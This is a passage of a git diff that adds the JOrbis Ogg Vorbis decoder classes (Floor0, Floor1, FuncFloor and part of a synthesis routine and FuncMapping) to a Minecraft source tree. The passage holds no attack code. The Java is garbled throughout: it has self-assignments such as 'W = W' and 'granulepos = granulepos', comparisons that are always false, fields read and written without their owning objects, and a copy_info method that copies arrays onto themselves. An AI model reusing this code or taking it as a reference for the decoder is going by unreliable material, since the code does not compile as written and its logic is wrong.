+    if ((centerW > vi.blocksizes[1] / 2) && (pcm_returned > 8192))
+    {
+
+
+      int shiftPCM = centerW - vi.blocksizes[1] / 2;
+      shiftPCM = pcm_returned < shiftPCM ? pcm_returned : shiftPCM;
+      
+      pcm_current -= shiftPCM;
+      centerW -= shiftPCM;
+      pcm_returned -= shiftPCM;
+      if (shiftPCM != 0) {
+        for (int i = 0; i < vi.channels; i++) {
+          System.arraycopy(pcm[i], shiftPCM, pcm[i], 0, pcm_current);
+        }
+      }
+    }
+    
+    lW = W;
+    W = W;
+    nW = -1;
+    
+    glue_bits += glue_bits;
+    time_bits += time_bits;
+    floor_bits += floor_bits;
+    res_bits += res_bits;
+    
+    if (sequence + 1L != sequence) {
+      granulepos = -1L;
+    }
+    sequence = sequence;
+    
+
+    int sizeW = vi.blocksizes[W];
+    int _centerW = centerW + vi.blocksizes[lW] / 4 + sizeW / 4;
+    int beginW = _centerW - sizeW / 2;
+    int endW = beginW + sizeW;
+    int beginSl = 0;
+    int endSl = 0;
+    
+
+    if (endW > pcm_storage)
+    {
+      pcm_storage = (endW + vi.blocksizes[1]);
+      for (int i = 0; i < vi.channels; i++) {
+        float[] foo = new float[pcm_storage];
+        System.arraycopy(pcm[i], 0, foo, 0, pcm[i].length);
+        pcm[i] = foo;
+      }
+    }
+    
+
+    switch (W) {
+    case 0: 
+      beginSl = 0;
+      endSl = vi.blocksizes[0] / 2;
+      break;
+    case 1: 
+      beginSl = vi.blocksizes[1] / 4 - vi.blocksizes[lW] / 4;
+      endSl = beginSl + vi.blocksizes[lW] / 2;
+    }
+    
+    
+    for (int j = 0; j < vi.channels; j++) {
+      int _pcm = beginW;
+      
+      int i = 0;
+      for (i = beginSl; i < endSl; i++) {
+        pcm[j][(_pcm + i)] += pcm[j][i];
+      }
+      for (; 
+          i < sizeW; i++) {
+        pcm[j][(_pcm + i)] = pcm[j][i];
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+    if (granulepos == -1L) {
+      granulepos = granulepos;
+    }
+    else {
+      granulepos += _centerW - centerW;
+      if ((granulepos != -1L) && (granulepos != granulepos)) {
+        if ((granulepos > granulepos) && (eofflag != 0))
+        {
+          _centerW = (int)(_centerW - (granulepos - granulepos));
+        }
+        
+        granulepos = granulepos;
+      }
+    }
+    
+
+
+    centerW = _centerW;
+    pcm_current = endW;
+    if (eofflag != 0) {
+      eofflag = 1;
+    }
+    return 0;
+  }
+  
+  public int synthesis_pcmout(float[][][] _pcm, int[] index)
+  {
+    if (pcm_returned < centerW) {
+      if (_pcm != null) {
+        for (int i = 0; i < vi.channels; i++) {
+          index[i] = pcm_returned;
+        }
+        _pcm[0] = pcm;
+      }
+      return centerW - pcm_returned;
+    }
+    return 0;
+  }
+  
+  public int synthesis_read(int bytes) {
+    if ((bytes != 0) && (pcm_returned + bytes > centerW))
+      return -1;
+    pcm_returned += bytes;
+    return 0;
+  }
+  
+  public void clear() {}
+}
diff --git a/src/minecraft/com/jcraft/jorbis/Floor0.java b/src/minecraft/com/jcraft/jorbis/Floor0.java
new file mode 100644
index 0000000..e35f800
--- /dev/null
+++ b/src/minecraft/com/jcraft/jorbis/Floor0.java
@@ -0,0 +1,344 @@
+package com.jcraft.jorbis;
+
+import com.jcraft.jogg.Buffer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class Floor0
+  extends FuncFloor
+{
+  float[] lsp;
+  
+  void pack(Object i, Buffer opb)
+  {
+    InfoFloor0 info = (InfoFloor0)i;
+    opb.write(order, 8);
+    opb.write(rate, 16);
+    opb.write(barkmap, 16);
+    opb.write(ampbits, 6);
+    opb.write(ampdB, 8);
+    opb.write(numbooks - 1, 4);
+    for (int j = 0; j < numbooks; j++)
+      opb.write(books[j], 8);
+  }
+  
+  Object unpack(Info vi, Buffer opb) {
+    InfoFloor0 info = new InfoFloor0();
+    order = opb.read(8);
+    rate = opb.read(16);
+    barkmap = opb.read(16);
+    ampbits = opb.read(6);
+    ampdB = opb.read(8);
+    numbooks = (opb.read(4) + 1);
+    
+    if ((order < 1) || (rate < 1) || (barkmap < 1) || (numbooks < 1)) {
+      return null;
+    }
+    
+    for (int j = 0; j < numbooks; j++) {
+      books[j] = opb.read(8);
+      if ((books[j] < 0) || (books[j] >= books)) {
+        return null;
+      }
+    }
+    return info;
+  }
+  
+  Object look(DspState vd, InfoMode mi, Object i)
+  {
+    Info vi = vi;
+    InfoFloor0 info = (InfoFloor0)i;
+    LookFloor0 look = new LookFloor0();
+    m = order;
+    n = (blocksizes[blockflag] / 2);
+    ln = barkmap;
+    vi = info;
+    lpclook.init(ln, m);
+    
+
+    float scale = ln / toBARK((float)(rate / 2.0D));
+    
+
+
+
+
+
+
+    linearmap = new int[n];
+    for (int j = 0; j < n; j++) {
+      int val = (int)Math.floor(toBARK((float)(rate / 2.0D / n * j)) * scale);
+      if (val >= ln)
+        val = ln;
+      linearmap[j] = val;
+    }
+    return look;
+  }
+  
+  static float toBARK(float f) {
+    return (float)(13.1D * Math.atan(7.4E-4D * f) + 2.24D * Math.atan(f * f * 1.85E-8D) + 1.0E-4D * f);
+  }
+  
+  Object state(Object i) {
+    EchstateFloor0 state = new EchstateFloor0();
+    InfoFloor0 info = (InfoFloor0)i;
+    
+
+    codewords = new int[order];
+    curve = new float[barkmap];
+    frameno = -1L;
+    return state;
+  }
+  
+
+
+
+
+
+
+
+
+  int forward(Block vb, Object i, float[] in, float[] out, Object vs)
+  {
+    return 0;
+  }
+  
+  Floor0() { lsp = null; }
+  
+  int inverse(Block vb, Object i, float[] out)
+  {
+    LookFloor0 look = (LookFloor0)i;
+    InfoFloor0 info = vi;
+    int ampraw = opb.read(ampbits);
+    if (ampraw > 0) {
+      int maxval = (1 << ampbits) - 1;
+      float amp = ampraw / maxval * ampdB;
+      int booknum = opb.read(Util.ilog(numbooks));
+      
+      if ((booknum != -1) && (booknum < numbooks))
+      {
+        synchronized (this) {
+          if ((lsp == null) || (lsp.length < m)) {
+            lsp = new float[m];
+          }
+          else {
+            for (int j = 0; j < m; j++) {
+              lsp[j] = 0.0F;
+            }
+          }
+          CodeBook b = vd.fullbooks[books[booknum]];
+          float last = 0.0F;
+          
+          for (int j = 0; j < m; j++) {
+            out[j] = 0.0F;
+          }
+          for (int j = 0; j < m; j += dim) {
+            if (b.decodevs(lsp, j, opb, 1, -1) == -1) {
+              for (int k = 0; k < n; k++)
+                out[k] = 0.0F;
+              return 0;
+            }
+          }
+          for (int j = 0; j < m;) {
+            for (int k = 0; k < dim; j++) {
+              lsp[j] += last;k++; }
+            last = lsp[(j - 1)];
+          }
+          
+          Lsp.lsp_to_curve(out, linearmap, n, ln, lsp, m, amp, ampdB);
+          
+
+          return 1;
+        }
+      }
+    }
+    return 0;
+  }
+  
+  Object inverse1(Block vb, Object i, Object memo) {
+    LookFloor0 look = (LookFloor0)i;
+    InfoFloor0 info = vi;
+    float[] lsp = null;
+    if ((memo instanceof float[])) {
+      lsp = (float[])memo;
+    }
+    
+    int ampraw = opb.read(ampbits);
+    if (ampraw > 0) {
+      int maxval = (1 << ampbits) - 1;
+      float amp = ampraw / maxval * ampdB;
+      int booknum = opb.read(Util.ilog(numbooks));
+      
+      if ((booknum != -1) && (booknum < numbooks)) {
+        CodeBook b = vd.fullbooks[books[booknum]];
+        float last = 0.0F;
+        
+        if ((lsp == null) || (lsp.length < m + 1)) {
+          lsp = new float[m + 1];
+        }
+        else {
+          for (int j = 0; j < lsp.length; j++) {
+            lsp[j] = 0.0F;
+          }
+        }
+        for (int j = 0; j < m; j += dim) {
+          if (b.decodev_set(lsp, j, opb, dim) == -1) {
+            return null;
+          }
+        }
+        
+        for (int j = 0; j < m;) {
+          for (int k = 0; k < dim; j++) {
+            lsp[j] += last;k++; }
+          last = lsp[(j - 1)];
+        }
+        lsp[m] = amp;
+        return lsp;
+      }
+    }
+    return null;
+  }
+  
+  int inverse2(Block vb, Object i, Object memo, float[] out) {
+    LookFloor0 look = (LookFloor0)i;
+    InfoFloor0 info = vi;
+    
+    if (memo != null) {
+      float[] lsp = (float[])memo;
+      float amp = lsp[m];
+      
+      Lsp.lsp_to_curve(out, linearmap, n, ln, lsp, m, amp, ampdB);
+      
+      return 1;
+    }
+    for (int j = 0; j < n; j++) {
+      out[j] = 0.0F;
+    }
+    return 0;
+  }
+  
+  static float fromdB(float x) {
+    return (float)Math.exp(x * 0.11512925D);
+  }
+  
+  static void lsp_to_lpc(float[] lsp, float[] lpc, int m) {
+    int m2 = m / 2;
+    float[] O = new float[m2];
+    float[] E = new float[m2];
+    
+    float[] Ae = new float[m2 + 1];
+    float[] Ao = new float[m2 + 1];
+    
+    float[] Be = new float[m2];
+    float[] Bo = new float[m2];
+    
+
+
+    for (int i = 0; i < m2; i++) {
+      O[i] = ((float)(-2.0D * Math.cos(lsp[(i * 2)])));
+      E[i] = ((float)(-2.0D * Math.cos(lsp[(i * 2 + 1)])));
+    }
+    
+
+    for (int j = 0; j < m2; j++) {
+      Ae[j] = 0.0F;
+      Ao[j] = 1.0F;
+      Be[j] = 0.0F;
+      Bo[j] = 1.0F;
+    }
+    Ao[j] = 1.0F;
+    Ae[j] = 1.0F;
+    
+
+    for (i = 1; i < m + 1; i++) { float B;
+      float A = B = 0.0F;
+      for (j = 0; j < m2; j++) {
+        float temp = O[j] * Ao[j] + Ae[j];
+        Ae[j] = Ao[j];
+        Ao[j] = A;
+        A += temp;
+        
+        temp = E[j] * Bo[j] + Be[j];
+        Be[j] = Bo[j];
+        Bo[j] = B;
+        B += temp;
+      }
+      lpc[(i - 1)] = ((A + Ao[j] + B - Ae[j]) / 2.0F);
+      Ao[j] = A;
+      Ae[j] = B;
+    }
+  }
+  
+
+  static void lpc_to_curve(float[] curve, float[] lpc, float amp, LookFloor0 l, String name, int frameno)
+  {
+    float[] lcurve = new float[Math.max(ln * 2, m * 2 + 2)];
+    
+    if (amp == 0.0F) {
+      for (int j = 0; j < n; j++)
+        curve[j] = 0.0F;
+      return;
+    }
+    lpclook.lpc_to_curve(lcurve, lpc, amp);
+    
+    for (int i = 0; i < n; i++)
+      curve[i] = lcurve[linearmap[i]];
+  }
+  
+  void free_info(Object i) {}
+  
+  class InfoFloor0 {
+    int order;
+    int rate;
+    int barkmap;
+    int ampbits;
+    int ampdB;
+    int numbooks;
+    int[] books = new int[16];
+    
+    InfoFloor0() {}
+  }
+  
+  class LookFloor0 { int n;
+    int ln;
+    int m;
+    int[] linearmap;
+    Floor0.InfoFloor0 vi;
+    Lpc lpclook = new Lpc();
+    
+    LookFloor0() {}
+  }
+  
+  void free_look(Object i) {}
+  
+  void free_state(Object vs) {}
+  
+  class EchstateFloor0
+  {
+    int[] codewords;
+    float[] curve;
+    long frameno;
+    long codes;
+    
+    EchstateFloor0() {}
+  }
+}
diff --git a/src/minecraft/com/jcraft/jorbis/Floor1.java b/src/minecraft/com/jcraft/jorbis/Floor1.java
new file mode 100644
index 0000000..beaa0ee
--- /dev/null
+++ b/src/minecraft/com/jcraft/jorbis/Floor1.java
@@ -0,0 +1,616 @@
+package com.jcraft.jorbis;
+
+import com.jcraft.jogg.Buffer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class Floor1
+  extends FuncFloor
+{
+  static final int floor1_rangedb = 140;
+  static final int VIF_POSIT = 63;
+  
+  Floor1() {}
+  
+  void pack(Object i, Buffer opb)
+  {
+    InfoFloor1 info = (InfoFloor1)i;
+    
+    int count = 0;
+    
+    int maxposit = postlist[1];
+    int maxclass = -1;
+    
+
+    opb.write(partitions, 5);
+    for (int j = 0; j < partitions; j++) {
+      opb.write(partitionclass[j], 4);
+      if (maxclass < partitionclass[j]) {
+        maxclass = partitionclass[j];
+      }
+    }
+    
+    for (int j = 0; j < maxclass + 1; j++) {
+      opb.write(class_dim[j] - 1, 3);
+      opb.write(class_subs[j], 2);
+      if (class_subs[j] != 0) {
+        opb.write(class_book[j], 8);
+      }
+      for (int k = 0; k < 1 << class_subs[j]; k++) {
+        opb.write(class_subbook[j][k] + 1, 8);
+      }
+    }
+    
+
+    opb.write(mult - 1, 2);
+    opb.write(Util.ilog2(maxposit), 4);
+    int rangebits = Util.ilog2(maxposit);
+    
+    int j = 0; for (int k = 0; j < partitions; j++) {
+      count += class_dim[partitionclass[j]];
+      for (; k < count; k++) {
+        opb.write(postlist[(k + 2)], rangebits);
+      }
+    }
+  }
+  
+  Object unpack(Info vi, Buffer opb) {
+    int count = 0;int maxclass = -1;
+    InfoFloor1 info = new InfoFloor1();
+    
+
+    partitions = opb.read(5);
+    for (int j = 0; j < partitions; j++) {
+      partitionclass[j] = opb.read(4);
+      if (maxclass < partitionclass[j]) {
+        maxclass = partitionclass[j];
+      }
+    }
+    
+    for (int j = 0; j < maxclass + 1; j++) {
+      class_dim[j] = (opb.read(3) + 1);
+      class_subs[j] = opb.read(2);
+      if (class_subs[j] < 0) {
+        info.free();
+        return null;
+      }
+      if (class_subs[j] != 0) {
+        class_book[j] = opb.read(8);
+      }
+      if ((class_book[j] < 0) || (class_book[j] >= books)) {
+        info.free();
+        return null;
+      }
+      for (int k = 0; k < 1 << class_subs[j]; k++) {
+        class_subbook[j][k] = (opb.read(8) - 1);
+        if ((class_subbook[j][k] < -1) || (class_subbook[j][k] >= books)) {
+          info.free();
+          return null;
+        }
+      }
+    }
+    
+
+    mult = (opb.read(2) + 1);
+    int rangebits = opb.read(4);
+    
+    int j = 0; for (int k = 0; j < partitions; j++) {
+      count += class_dim[partitionclass[j]];
+      for (; k < count; k++) {
+        int t = postlist[(k + 2)] = opb.read(rangebits);
+        if ((t < 0) || (t >= 1 << rangebits)) {
+          info.free();
+          return null;
+        }
+      }
+    }
+    postlist[0] = 0;
+    postlist[1] = (1 << rangebits);
+    
+    return info;
+  }
+  
+  Object look(DspState vd, InfoMode mi, Object i) {
+    int _n = 0;
+    
+    int[] sortpointer = new int[65];
+    
+
+
+    InfoFloor1 info = (InfoFloor1)i;
+    LookFloor1 look = new LookFloor1();
+    vi = info;
+    n = postlist[1];
+    
+
+
+
+
+
+
+
+    for (int j = 0; j < partitions; j++) {
+      _n += class_dim[partitionclass[j]];
+    }
+    _n += 2;
+    posts = _n;
+    
+
+    for (int j = 0; j < _n; j++) {
+      sortpointer[j] = j;
+    }
+    
+
+
+    for (int j = 0; j < _n - 1; j++) {
+      for (int k = j; k < _n; k++) {
+        if (postlist[sortpointer[j]] > postlist[sortpointer[k]]) {
+          int foo = sortpointer[k];
+          sortpointer[k] = sortpointer[j];
+          sortpointer[j] = foo;
+        }
+      }
+    }
+    
+
+    for (int j = 0; j < _n; j++) {
+      forward_index[j] = sortpointer[j];
+    }
+    
+    for (int j = 0; j < _n; j++) {
+      reverse_index[forward_index[j]] = j;
+    }
+    
+    for (int j = 0; j < _n; j++) {
+      sorted_index[j] = postlist[forward_index[j]];
+    }
+    
+
+    switch (mult) {
+    case 1: 
+      quant_q = 256;
+      break;
+    case 2: 
+      quant_q = 128;
+      break;
+    case 3: 
+      quant_q = 86;
+      break;
+    case 4: 
+      quant_q = 64;
+      break;
+    default: 
+      quant_q = -1;
+    }
+    
+    
+
+    for (int j = 0; j < _n - 2; j++) {
+      int lo = 0;
+      int hi = 1;
+      int lx = 0;
+      int hx = n;
+      int currentx = postlist[(j + 2)];
+      for (int k = 0; k < j + 2; k++) {
+        int x = postlist[k];
+        if ((x > lx) && (x < currentx)) {
+          lo = k;
+          lx = x;
+        }
+        if ((x < hx) && (x > currentx)) {
+          hi = k;
+          hx = x;
+        }
+      }
+      loneighbor[j] = lo;
+      hineighbor[j] = hi;
+    }
+    
+    return look;
+  }
+  
+
+  void free_info(Object i) {}
+  
+
+  void free_look(Object i) {}
+  
+  void free_state(Object vs) {}
+  
+  int forward(Block vb, Object i, float[] in, float[] out, Object vs)
+  {
+    return 0;
+  }
+  
+  Object inverse1(Block vb, Object ii, Object memo) {
+    LookFloor1 look = (LookFloor1)ii;
+    InfoFloor1 info = vi;
+    CodeBook[] books = vd.fullbooks;
+    
+
+    if (opb.read(1) == 1) {
+      int[] fit_value = null;
+      if ((memo instanceof int[])) {
+        fit_value = (int[])memo;
+      }
+      if ((fit_value == null) || (fit_value.length < posts)) {
+        fit_value = new int[posts];
+      }
+      else {
+        for (int i = 0; i < fit_value.length; i++) {
+          fit_value[i] = 0;
+        }
+      }
+      fit_value[0] = opb.read(Util.ilog(quant_q - 1));
+      fit_value[1] = opb.read(Util.ilog(quant_q - 1));
+      
+
+      int i = 0; for (int j = 2; i < partitions; i++) {
+        int clss = partitionclass[i];
+        int cdim = class_dim[clss];
+        int csubbits = class_subs[clss];
+        int csub = 1 << csubbits;
+        int cval = 0;
+        
+
+        if (csubbits != 0) {
+          cval = books[class_book[clss]].decode(opb);
+          
+          if (cval == -1) {
+            return null;
+          }
+        }
+        
+        for (int k = 0; k < cdim; k++) {
+          int book = class_subbook[clss][(cval & csub - 1)];
+          cval >>>= csubbits;
+          if (book >= 0) {
+            if ((fit_value[(j + k)] = books[book].decode(opb)) == -1) {
+              return null;
+            }
+          }
+          else {
+            fit_value[(j + k)] = 0;
+          }
+        }
+        j += cdim;
+      }
+      
+
+      for (int i = 2; i < posts; i++) {
+        int predicted = render_point(postlist[loneighbor[(i - 2)]], postlist[hineighbor[(i - 2)]], fit_value[loneighbor[(i - 2)]], fit_value[hineighbor[(i - 2)]], postlist[i]);
+        
+
+
+        int hiroom = quant_q - predicted;
+        int loroom = predicted;
+        int room = (hiroom < loroom ? hiroom : loroom) << 1;
+        int val = fit_value[i];
+        
+        if (val != 0) {
+          if (val >= room) {
+            if (hiroom > loroom) {
+              val -= loroom;
+            }
+            else {
+              val = -1 - (val - hiroom);
+            }
+            
+          }
+          else if ((val & 0x1) != 0) {
+            val = -(val + 1 >>> 1);
+          }
+          else {
+            val >>= 1;
+          }
+          
+
+          fit_value[i] = (val + predicted);
+          fit_value[loneighbor[(i - 2)]] &= 0x7FFF;
+          fit_value[hineighbor[(i - 2)]] &= 0x7FFF;
+        }
+        else {
+          fit_value[i] = (predicted | 0x8000);
+        }
+      }
+      return fit_value;
+    }
+    
+    return null;
+  }
+  
+  private static int render_point(int x0, int x1, int y0, int y1, int x) {
+    y0 &= 0x7FFF;
+    y1 &= 0x7FFF;
+    
+
+    int dy = y1 - y0;
+    int adx = x1 - x0;
+    int ady = Math.abs(dy);
+    int err = ady * (x - x0);
+    
+    int off = err / adx;
+    if (dy < 0)
+      return y0 - off;
+    return y0 + off;
+  }
+  
+  int inverse2(Block vb, Object i, Object memo, float[] out)
+  {
+    LookFloor1 look = (LookFloor1)i;
+    InfoFloor1 info = vi;
+    int n = vd.vi.blocksizes[mode] / 2;
+    
+    if (memo != null)
+    {
+      int[] fit_value = (int[])memo;
+      int hx = 0;
+      int lx = 0;
+      int ly = fit_value[0] * mult;
+      for (int j = 1; j < posts; j++) {
+        int current = forward_index[j];
+        int hy = fit_value[current] & 0x7FFF;
+        if (hy == fit_value[current]) {
+          hy *= mult;
+          hx = postlist[current];
+          
+          render_line(lx, hx, ly, hy, out);
+          
+          lx = hx;
+          ly = hy;
+        }
+      }
+      for (int j = hx; j < n; j++) {
+        out[j] *= out[(j - 1)];
+      }
+      return 1;
+    }
+    for (int j = 0; j < n; j++) {
+      out[j] = 0.0F;
+    }
+    return 0;
+  }
+  
+  private static float[] FLOOR_fromdB_LOOKUP = { 1.0649863E-7F, 1.1341951E-7F, 1.2079015E-7F, 1.2863978E-7F, 1.369995E-7F, 1.459025E-7F, 1.5538409E-7F, 1.6548181E-7F, 1.7623574E-7F, 1.8768856E-7F, 1.998856E-7F, 2.128753E-7F, 2.2670913E-7F, 2.4144197E-7F, 2.5713223E-7F, 2.7384212E-7F, 2.9163792E-7F, 3.1059022E-7F, 3.307741E-7F, 3.5226967E-7F, 3.7516213E-7F, 3.995423E-7F, 4.255068E-7F, 4.5315863E-7F, 4.8260745E-7F, 5.1397E-7F, 5.4737063E-7F, 5.829419E-7F, 6.208247E-7F, 6.611694E-7F, 7.041359E-7F, 7.4989464E-7F, 7.98627E-7F, 8.505263E-7F, 9.057983E-7F, 9.646621E-7F, 1.0273513E-6F, 1.0941144E-6F, 1.1652161E-6F, 1.2409384E-6F, 1.3215816E-6F, 1.4074654E-6F, 1.4989305E-6F, 1.5963394E-6F, 1.7000785E-6F, 1.8105592E-6F, 1.9282195E-6F, 2.053526E-6F, 2.1869757E-6F, 2.3290977E-6F, 2.4804558E-6F, 2.6416496E-6F, 2.813319E-6F, 2.9961443E-6F, 3.1908505E-6F, 3.39821E-6F, 3.619045E-6F, 3.8542307E-6F, 4.1047006E-6F, 4.371447E-6F, 4.6555283E-6F, 4.958071E-6F, 5.280274E-6F, 5.623416E-6F, 5.988857E-6F, 6.3780467E-6F, 6.7925284E-6F, 7.2339453E-6F, 7.704048E-6F, 8.2047E-6F, 8.737888E-6F, 9.305725E-6F, 9.910464E-6F, 1.0554501E-5F, 1.1240392E-5F, 1.1970856E-5F, 1.2748789E-5F, 1.3577278E-5F, 1.4459606E-5F, 1.5399271E-5F, 1.6400005E-5F, 1.7465769E-5F, 1.8600793E-5F, 1.9809577E-5F, 2.1096914E-5F, 2.2467912E-5F, 2.3928002E-5F, 2.5482977E-5F, 2.7139005E-5F, 2.890265E-5F, 3.078091E-5F, 3.2781227E-5F, 3.4911533E-5F, 3.718028E-5F, 3.9596467E-5F, 4.2169668E-5F, 4.491009E-5F, 4.7828602E-5F, 5.0936775E-5F, 5.424693E-5F, 5.7772202E-5F, 6.152657E-5F, 6.552491E-5F, 6.9783084E-5F, 7.4317984E-5F, 7.914758E-5F, 8.429104E-5F, 8.976875E-5F, 9.560242E-5F, 1.0181521E-4F, 1.0843174E-4F, 1.1547824E-4F, 1.2298267E-4F, 1.3097477E-4F, 1.3948625E-4F, 1.4855085E-4F, 1.5820454E-4F, 1.6848555E-4F, 1.7943469E-4F, 1.9109536E-4F, 2.0351382E-4F, 2.167393E-4F, 2.3082423E-4F, 2.4582449E-4F, 2.6179955E-4F, 2.7881275E-4F, 2.9693157E-4F, 3.1622787E-4F, 3.3677815E-4F, 3.5866388E-4F, 3.8197188E-4F, 4.0679457E-4F, 4.3323037E-4F, 4.613841E-4F, 4.913675E-4F, 5.2329927E-4F, 5.573062E-4F, 5.935231E-4F, 6.320936E-4F, 6.731706E-4F, 7.16917E-4F, 7.635063E-4F, 8.1312325E-4F, 8.6596457E-4F, 9.2223985E-4F, 9.821722E-4F, 0.0010459992F, 0.0011139743F, 0.0011863665F, 0.0012634633F, 0.0013455702F, 0.0014330129F, 0.0015261382F, 0.0016253153F, 0.0017309374F, 0.0018434235F, 0.0019632196F, 0.0020908006F, 0.0022266726F, 0.0023713743F, 0.0025254795F, 0.0026895993F, 0.0028643848F, 0.0030505287F, 0.003248769F, 0.0034598925F, 0.0036847359F, 0.0039241905F, 0.0041792067F, 0.004450795F, 0.004740033F, 0.005048067F, 0.0053761187F, 0.005725489F, 0.0060975635F, 0.0064938175F, 0.0069158226F, 0.0073652514F, 0.007843887F, 0.008353627F, 0.008896492F, 0.009474637F, 0.010090352F, 0.01074608F, 0.011444421F, 0.012188144F, 0.012980198F, 0.013823725F, 0.014722068F, 0.015678791F, 0.016697686F, 0.017782796F, 0.018938422F, 0.020169148F, 0.021479854F, 0.022875736F, 0.02436233F, 0.025945531F, 0.027631618F, 0.029427277F, 0.031339627F, 0.03337625F, 0.035545226F, 0.037855156F, 0.0403152F, 0.042935107F, 0.045725275F, 0.048696756F, 0.05186135F, 0.05523159F, 0.05882085F, 0.062643364F, 0.06671428F, 0.07104975F, 0.075666964F, 0.08058423F, 0.08582105F, 0.09139818F, 0.097337745F, 0.1036633F, 0.11039993F, 0.11757434F, 0.12521498F, 0.13335215F, 0.14201812F, 0.15124726F, 0.16107617F, 0.1715438F, 0.18269168F, 0.19456401F, 0.20720787F, 0.22067343F, 0.23501402F, 0.25028655F, 0.26655158F, 0.28387362F, 0.3023213F, 0.32196787F, 0.34289113F, 0.36517414F, 0.3889052F, 0.41417846F, 0.44109413F, 0.4697589F, 0.50028646F, 0.53279793F, 0.5674221F, 0.6042964F, 0.64356697F, 0.6853896F, 0.72993004F, 0.777365F, 0.8278826F, 0.88168305F, 0.9389798F, 1.0F };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static void render_line(int x0, int x1, int y0, int y1, float[] d)
+  {
+    int dy = y1 - y0;
+    int adx = x1 - x0;
+    int ady = Math.abs(dy);
+    int base = dy / adx;
+    int sy = dy < 0 ? base - 1 : base + 1;
+    int x = x0;
+    int y = y0;
+    int err = 0;
+    
+    ady -= Math.abs(base * adx);
+    
+    d[x] *= FLOOR_fromdB_LOOKUP[y];
+    for (;;) { x++; if (x >= x1) break;
+      err += ady;
+      if (err >= adx) {
+        err -= adx;
+        y += sy;
+      }
+      else {
+        y += base;
+      }
+      d[x] *= FLOOR_fromdB_LOOKUP[y];
+    }
+  }
+  
+  class InfoFloor1
+  {
+    static final int VIF_POSIT = 63;
+    static final int VIF_CLASS = 16;
+    static final int VIF_PARTS = 31;
+    int partitions;
+    int[] partitionclass = new int[31];
+    
+    int[] class_dim = new int[16];
+    int[] class_subs = new int[16];
+    int[] class_book = new int[16];
+    int[][] class_subbook = new int[16][];
+    
+    int mult;
+    int[] postlist = new int[65];
+    
+    float maxover;
+    
+    float maxunder;
+    
+    float maxerr;
+    int twofitminsize;
+    int twofitminused;
+    int twofitweight;
+    float twofitatten;
+    int unusedminsize;
+    int unusedmin_n;
+    int n;
+    
+    InfoFloor1()
+    {
+      for (int i = 0; i < class_subbook.length; i++) {
+        class_subbook[i] = new int[8];
+      }
+    }
+    
+    void free() {
+      partitionclass = null;
+      class_dim = null;
+      class_subs = null;
+      class_book = null;
+      class_subbook = ((int[][])null);
+      postlist = null;
+    }
+    
+    Object copy_info() {
+      InfoFloor1 info = this;
+      InfoFloor1 ret = new InfoFloor1(Floor1.this);
+      
+      partitions = partitions;
+      System.arraycopy(partitionclass, 0, partitionclass, 0, 31);
+      
+      System.arraycopy(class_dim, 0, class_dim, 0, 16);
+      System.arraycopy(class_subs, 0, class_subs, 0, 16);
+      System.arraycopy(class_book, 0, class_book, 0, 16);
+      
+      for (int j = 0; j < 16; j++) {
+        System.arraycopy(class_subbook[j], 0, class_subbook[j], 0, 8);
+      }
+      
+      mult = mult;
+      System.arraycopy(postlist, 0, postlist, 0, 65);
+      
+      maxover = maxover;
+      maxunder = maxunder;
+      maxerr = maxerr;
+      
+      twofitminsize = twofitminsize;
+      twofitminused = twofitminused;
+      twofitweight = twofitweight;
+      twofitatten = twofitatten;
+      unusedminsize = unusedminsize;
+      unusedmin_n = unusedmin_n;
+      
+      n = n;
+      
+      return ret;
+    }
+  }
+  
+
+  class LookFloor1
+  {
+    static final int VIF_POSIT = 63;
+    int[] sorted_index = new int[65];
+    int[] forward_index = new int[65];
+    int[] reverse_index = new int[65];
+    int[] hineighbor = new int[63];
+    int[] loneighbor = new int[63];
+    int posts;
+    int n;
+    int quant_q;
+    Floor1.InfoFloor1 vi;
+    int phrasebits;
+    int postbits;
+    int frames;
+    
+    LookFloor1() {}
+    
+    void free() {
+      sorted_index = null;
+      forward_index = null;
+      reverse_index = null;
+      hineighbor = null;
+      loneighbor = null;
+    }
+  }
+  
+  class Lsfit_acc
+  {
+    long x0;
+    long x1;
+    long xa;
+    long ya;
+    long x2a;
+    long y2a;
+    long xya;
+    long n;
+    long an;
+    long un;
+    long edgey0;
+    long edgey1;
+    
+    Lsfit_acc() {}
+  }
+  
+  class EchstateFloor1
+  {
+    int[] codewords;
+    float[] curve;
+    long frameno;
+    long codes;
+    
+    EchstateFloor1() {}
+  }
+}
diff --git a/src/minecraft/com/jcraft/jorbis/FuncFloor.java b/src/minecraft/com/jcraft/jorbis/FuncFloor.java
new file mode 100644
index 0000000..1eb202e
--- /dev/null
+++ b/src/minecraft/com/jcraft/jorbis/FuncFloor.java
@@ -0,0 +1,54 @@
+package com.jcraft.jorbis;
+
+import com.jcraft.jogg.Buffer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class FuncFloor
+{
+  public static FuncFloor[] floor_P = { new Floor0(), new Floor1() };
+  
+  FuncFloor() {}
+  
+  abstract void pack(Object paramObject, Buffer paramBuffer);
+  
+  abstract Object unpack(Info paramInfo, Buffer paramBuffer);
+  
+  abstract Object look(DspState paramDspState, InfoMode paramInfoMode, Object paramObject);
+  
+  abstract void free_info(Object paramObject);
+  
+  abstract void free_look(Object paramObject);
+  
+  abstract void free_state(Object paramObject);
+  
+  abstract int forward(Block paramBlock, Object paramObject1, float[] paramArrayOfFloat1, float[] paramArrayOfFloat2, Object paramObject2);
+  
+  abstract Object inverse1(Block paramBlock, Object paramObject1, Object paramObject2);
+  
+  abstract int inverse2(Block paramBlock, Object paramObject1, Object paramObject2, float[] paramArrayOfFloat);
+}
diff --git a/src/minecraft/com/jcraft/jorbis/FuncMapping.java b/src/minecraft/com/jcraft/jorbis/FuncMapping.java
new file mode 100644
index 0000000..c9c04b6
--- /dev/null
+++ b/src/minecraft/com/jcraft/jorbis/FuncMapping.java
@@ -0,0 +1,47 @@
+package com.jcraft.jorbis;
+
+import com.jcraft.jogg.Buffer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class FuncMapping
+{
+  public static FuncMapping[] mapping_P = { new Mapping0() };
+  
+  FuncMapping() {}
+  
